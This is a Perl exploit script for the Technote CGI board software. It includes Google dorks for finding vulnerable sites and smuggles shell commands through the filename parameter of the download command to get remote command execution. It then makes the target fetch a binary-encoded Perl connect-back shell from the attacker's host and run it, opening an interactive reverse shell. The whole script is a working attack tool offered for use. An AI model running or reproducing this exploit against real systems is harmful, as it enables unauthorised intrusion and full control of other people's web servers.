cgikiller.pl

#!/usr/bin/perl
# LulzSec Reborn CGI Killer
#  *** Remote Shell Upload Vulnerability ***
# Dork 1: inurl:/cgi-bin/technote
# Dork 2: inurl: .cgi?board=FREE_BOARD
# Dork 3: intext: TECHNOTE-TOP

use IO::Socket;
use strict;

my ($HOST, $CBHOST) = @ARGV;
my $PORT = 80;
my $CBPORT = int(rand(64511))+1024; 
my $PWD = '`pwd`';
$| = 1;

unless ($HOST) {
    print         "\n       ¦¦¦¦¦¦¦¦ \n";
        print        "      ¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
          print      "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
          print      "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦ \n"; 
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦ \n";
sleep(1);
   print " \n\n      *** Exploit Remote Upload Shell ***\n\n\n";
   print "         Exploit Remote Upload Shell\n\n";
   print "    USAGE: $0 <host[:port]>[/(main.cgi path)] [your_ip[:port]]\n\n";
   print "        $0 <main.cgi URL> [your_ip[:port]]\n";
   print "        $0 <whole technote filename url> [your_ip[:port]]\n\n";
   print "    EXAMPLE: $0 localhost\n\n";
   print "        $0 http://localhost/technote/main.cgi 127.0.0.1:4545\n";
   print "        $0 'localhost:8080/cgi-bin/technote/main.cgi/file.txt?down_num=953713356&board=my_board&command=down_load&filename=file.txt'\n\n";
   exit(1);
}

#my $URI = undef;
#map { $URI = 1 if (-r "$_/URI/Escape.pm") } @INC;
#eval 'use URI::Escape' if ($URI);

$HOST =~ s/^http:\/\///;
my $DOC = '/technote/main.cgi';
my $bind;
if ($HOST =~ /^(.+?)(\/.+)$/) {
  $DOC = $2;
  $HOST = $1;
}

if ($HOST =~ /^(.+?):(\d+)$/) {
  $HOST = $1;
  $PORT = $2;
}
if ($CBHOST =~ /^(.+?):(\d+)$/) {
  $CBHOST = $1;
  $CBPORT = $2;
}


my $NUM = int(rand(999999));

if (try_vul()) {
    print "EXPLOITADO SUCCESSFULLY!\nAGUARDE!\n";
} else {
    print "Sorry... Error No Exploit\n\n";
    exit;
}

# cbshell client encoded.. nothing to worry heheh
my $cbshell = '$C=pack("B*","01110110011000010110100000101000001000100101010101110011011000010110011101100101001110100010000000100100001100000010000000111100011010010111000000111110001000000011110001110000011011110111001001110100001111100010001000101001001000000111010101101110011011000110010101110011011100110010000000100100010000010101001001000111010101100101101100110001010111010011101101101101011110010010010001001001010100000011110100100100010000010101001001000111010101100101101100110000010111010011101101101101011110010010010001010000010011110101001001010100001111010010010001000001010100100100011101010110010110110011000101011101001110110110110101111001001001000101001101001000010001010100110001001100001111010010011101100010011000010111001101101000001001110011101101101101011110010010010001001000010011110100110101000101001111010010011100101111011101000110110101110000001001110011101101101101011110010010010001010000010100100100111101000011001111010010011101101001011011100110010101110100011001000010011100111011011011010111100100101000010000000101001101010100010101000101100100101001001111010010100000100111011100110110000101101110011001010010011100101100001000000010011101100100011001010110001100100111001010010011101100100100010001010100111001010110011110110010011101001000010011110100110101000101001001110111110100111101001001000100100001001111010011010100010100111011001001000100010101001110010101100111101100100111010100000101001100110001001001110111110100111101001001110101101101011100010111000111010101000000010111000101110001101000001000000101110001011100010101110101110100111010001000000010011100111011001001000100010101001110010101100111101100100111010011010100000101001001010011000010011101111101001111010010011100101111011101100110000101110010001011110110110101100001011010010110110000101111011100100110111101101111011101000010011100111011001001000100010101001110010101100111101100100111010100000100000101010100010010000010011101111101001000000010111000111101001000000010011100111010001011110110001001101001011011100011101000101111011100110110001001101001011011100011101000101111011101010111001101110010001011110110001001101001011011100011101000101111011101010111001101110010001011110111001101100010011010010110111000111010001011110111010101110011011100100010111101101100011011110110001101100001011011000010111101100010011010010110111000111010001011110111010101110011011100100010111101101100011011110110001101100001011011000010111101110011011000100110100101101110001001110011101100100100010001010100111001010110011110110010011101001000010010010101001101010100010001100100100101001100010001010010011101111101001111010010011100101111011001000110010101110110001011110110111001110101011011000110110000100111001110110010010001000101010011100101011001111011001001110101010101010011010001010101001000100111011111010011110100100111011100100110111101101111011101000010011100111011001001000100010101001110010101100111101100100111010011000100111101000111010011100100000101001101010001010010011101111101001111010010011101110010011011110110111101110100001001110011101100100100010001010100111001010110011110110010011101001100010100110101111101001111010100000101010001001001010011110100111001010011001001110111110100111101001001110010000000101101001011010110001101101111011011000110111101110010001111010110000101110101011101000110111100100000001011010100011000100000001011010110001000100000001011010101010000100000001100000010011100111011001001000100010101001110010101100111101100100111010011000101001101011111010000110100111101001100010011110101001001010011001001110111110100111101001001110110111001101111001111010011000000110000001110100110011001101001001111010011000000110000001110100110010001101001001111010011000000110001001110110011001100110100001110100110110001101110001111010011000000110001001110110011001100110110001110100111000001101001001111010011010000110000001110110011001100110011001110100111001101101111001111010011000000110001001110110011001100110101001110100110001001100100001111010011010000110000001110110011001100110011001110110011000000110001001110100110001101100100001111010011010000110000001110110011001100110011001110110011000000110001001110100110111101110010001111010011010000110000001110110011001100110001001110110011000000110001001110100110010101111000001111010011000000110001001110110011001100110010001110100010101000101110011000110110110101100100001111010011000000110001001110110011001100110010001110100010101000101110011001010111100001100101001111010011000000110001001110110011001100110010001110100010101000101110011000110110111101101101001111010011000000110001001110110011001100110010001110100010101000101110011000100111010001101101001111010011000000110001001110110011001100110010001110100010101000101110011000100110000101110100001111010011000000110001001110110011001100110010001110100010101000101110011101000110000101110010001111010011000000110001001110110011001100110001001110100010101000101110011101000110011101111010001111010011000000110001001110110011001100110001001110100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if ($CBHOST) {
  my $len = length($cbshell);

  print "Binding on port $CBPORT\n";
  $bind = IO::Socket::INET->new(LocalPort => $CBPORT, Proto => 'tcp', Listen => 1) || die "could not listen on port $CBPORT";
  my $transfcmd = "perl -mIO::Socket -e 'fork && exit; \$pa = \"$CBHOST\";\$pp = $CBPORT; \$sock = IO::Socket::INET->new(PeerAddr => \$pa, PeerPort => \$pp, Proto => \"tcp\") || exit; \$stop = $len; \$tot = 0; \$code = \"\"; while(sysread(\$sock, \$msg, 1024)) { \$tot += length(\$msg); \$code .= \$msg; last if (\$tot >= \$stop); } \$sock->close(); system(\"perl -e \".chr(39).\$code.chr(39).\" \$pa \$pp\");'";
  print "Transferring the Remote Code...\n";

  local($SIG{CHLD}) = sub { wait; };
  my $pid = fork();

  unless($pid) {
    print do_cmd($transfcmd);
    exit;
  }

  print "AGUARDANDO A CONEXAO PARA TRANSFERIR...\n";
  my $remote = $bind->accept() || die "The box didn't connect";
  print "Connected!....\n";

  my $sent = 0;
  while ($sent < $len) {
    my $s = substr($cbshell,$sent, 1024);
    $sent += 1024;
    print $remote $s;
  }

  print "TRANSFER COMPLETE!\n";
#  $remote->close() if ($remote->connected());
  cbshellcli();

  exit(0);
}

print "Type ^C To Close.\n\n>> Welcome Remote Exploit Command \n\n";
while ( 1 ) {
  print do_cmd(get_cmd());
}

sub get_cmd {

  print "[$HOST ($PWD)]: ";

  chop (my $cmd = <STDIN>);

  return($cmd);
}

sub try_vul {
  my $try_to_say = "CONCLUIDO";
  my @resp = do_cmd("echo $try_to_say");
#  print STDOUT "@resp\n";# if (grep { $_ =~ /$try_to_say/ } @resp);
  return(undef) unless(defined($resp[0]));
  
  $resp[$#resp] =~ s/\n//g;
#  print STDOUT "res: $resp[$#resp]\n";
  ($resp[$#resp] eq $try_to_say) ? 1 : undef;
}

sub do_cmd {
  my ($cmd, $env) = @_;

  $env = "CMD: cd $PWD; $cmd 2>&1;pwd";
  my @resp = request(make_cmd_string('sh -c "$HTTP_CMD"'), $env);

#  print STDOUT "@resp\n";

  my $header_end;

  for (my $c = 0; $c <= $#resp; $c++) {
    if ($resp[$c] eq "\r\n" or $resp[$c] eq "\n" ) {
      $header_end = $c;
      last;
    }
  }

  if ($resp[$#resp] !~ /\<.*(html|body)/i and $resp[$#resp] =~ /^\//) {
    $PWD = $resp[$#resp];
    chop($PWD);
  }
#  print STDOUT "($header_end == $#resp);\n";

  return() if ($header_end == $#resp);

  my @cmd_resp = @resp[($header_end+1) .. ($#resp-1)];
  return(@cmd_resp);
}

sub escape {
   my $cmd = shift;

#   if ($URI) {
#     $cmd = URI::Escape::uri_escape($cmd);
#   } else {

     $cmd =~ s/ /%20/g;  # just a little treat for some chars if we dont have URI::Escape
     $cmd =~ s/;/%3B/g;  # d common used
     $cmd =~ s/\$/%24/g;
     $cmd =~ s/\"/%22/g;

# not needed anymore for us..
#     $cmd =~ s/\&/%26/g; 
#     $cmd =~ s/\>/%3E/g;
#     $cmd =~ s/\</%3C/g;
#     $cmd =~ s/\?/%3F/g;
#     $cmd =~ s/\//%2F/g;
#     $cmd =~ s/\\/%5C/g;

#   }

   return($cmd);
}

sub make_cmd_string {
   my $cmd = shift;

   $cmd = escape($cmd);

   if ($DOC =~ /\&/) {
     return($DOC."%3B".$cmd."|");
   } else {
     return($DOC."?down_num=".$NUM."&board=any&command=down_load&filename=getfile.txt%3B".$cmd."|");
   }

}

sub request {
   my ($string, $env) = @_;

   $env .= "\r\n" if ($env);
   my $sock = IO::Socket::INET->new(PeerHost => $HOST, PeerPort => $PORT, Proto => 'tcp') || die "Could not connect on $HOST:$PORT. Err: $!";

   print $sock "GET $string HTTP/1.0\r\nTE: deflate;q=0.3\r\nHost: $HOST\r\nUser-Agent: Getter/0.1\r\n$env\r\n";

   my @resp = <$sock>;

   return(@resp);
}

sub cbshellcli {
  use IO::Select;

  my $RK = undef;
  map { $RK = 1 if (-r "$_/Term/ReadKey.pm") } @INC;
  eval 'use Term::ReadKey' if ($RK);

  END {
    if ($RK) {
      Term::ReadKey::ReadMode(0);
#    } else {
#        system("stty sane");
    }
  }

  print "AGUARDE CONEXAO REMOTA.... ";
  my $sock = $bind->accept();
  print "OK!\n\nREAL SHELL!!\n\n";
  

  if ($RK) {
    Term::ReadKey::ReadMode(4);
#  } else {
##      system("stty raw -echo");
#      STDIN->autoflush(1);
#system("stty -icanon -isig -iexten -echo -echoe -echok -echonl -echoctl -echoprt -echoke -ixon -ixany -brkint");
#      sleep(2);
  }


  my $sel = IO::Select->new($sock);
  $sel->add(\*STDIN);

  while ( 1 ) {
    foreach my $fh ($sel->can_read(0.01)) {
       my $msg;
       my $nread = sysread($fh, $msg, 1024);
       if ($fh eq $sock) {
          if ($nread == 0) {
            print STDOUT "\n\nCONEXAO FECHADA.\n\n";
            exit;
          }
          print STDOUT $msg;
       } else {
           print $sock $msg;
       }
    }
  }
}